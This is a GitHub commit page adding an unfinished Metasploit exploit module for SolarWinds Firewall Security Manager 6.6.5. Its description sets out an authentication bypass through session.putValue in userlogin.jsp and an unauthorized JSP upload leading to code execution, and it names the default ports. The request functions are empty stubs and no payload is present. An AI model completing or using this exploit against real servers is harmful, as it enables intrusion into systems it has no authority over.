Skip to content

Commit 9730562

Browse files
committed
Add Solarwinds FSM module
starter
1 parent c666d04 commit 9730562

File tree

1 file changed

+89
-0
lines changed

1 file changed

+89
-0
lines changed
Lines changed: 89 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::EXE
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => "Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Vulnerability",
17+
'Description' => %q{
18+
This module exploits multiple vulnerabilities found in Solarwinds Firewall Security Manager
19+
6.6.5. The first vulnerability is an authentication bypass via the Change Advisor interface
20+
due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set
21+
the 'username' attribute before authentication. The second problem is that the settings-new.jsp
22+
file will only check the 'username' attribute for 'uploadFile' action's authorization, which
23+
can be exploited and allows the attacker to upload a malicious file to the server, and results
24+
in arbitrary code execution.
25+
26+
Depending on the installation, by default the Change Advisor web server is listening on port
27+
48080 for an express install. Otherwise, this service may appear on port 8080.
28+
},
29+
'License' => MSF_LICENSE,
30+
'Author' =>
31+
[
32+
'rgod', # Original discovery
33+
'sinn3r' # Metasploit
34+
],
35+
'References' =>
36+
[
37+
['OSVDB', '81634'],
38+
],
39+
'Payload' =>
40+
{
41+
'BadChars' => "\x00",
42+
},
43+
'DefaultOptions' =>
44+
{
45+
'EXITFUNC' => "none",
46+
'RPORT' => 48080
47+
},
48+
'Platform' => 'win',
49+
'Targets' =>
50+
[
51+
['Solarwinds Firewall Security Manager 6.6.5', {}]
52+
],
53+
'Privileged' => false,
54+
'DisclosureDate' => "Mar 13 2015",
55+
'DefaultTarget' => 0))
56+
end
57+
58+
59+
# Returns a checkcode that indicates whether the target is FSM or not
60+
def check
61+
end
62+
63+
64+
# Creates an arbitrary username by abusing the server's unsafe use of session.putValue
65+
def put_session_value(value)
66+
end
67+
68+
69+
# Uploads a malicious JSP file and then execute it
70+
def upload_exec(filename, malicious_file)
71+
end
72+
73+
# Exploit/run command
74+
def exploit
75+
unless check == Exploit::CheckCode::Detected
76+
print_error("Target does not appear to be a Solarwinds Firewall Security Manager")
77+
return
78+
end
79+
80+
username = 'admin'
81+
print_status("Putting session value: #{username}")
82+
put_session_value('admin')
83+
84+
filename = "test.jsp"
85+
malicious_file = ''
86+
print_status("Uploading file: #{filename}")
87+
upload_exec(filename, malicious_file)
88+
end
89+
end

0 commit comments

Comments
 (0)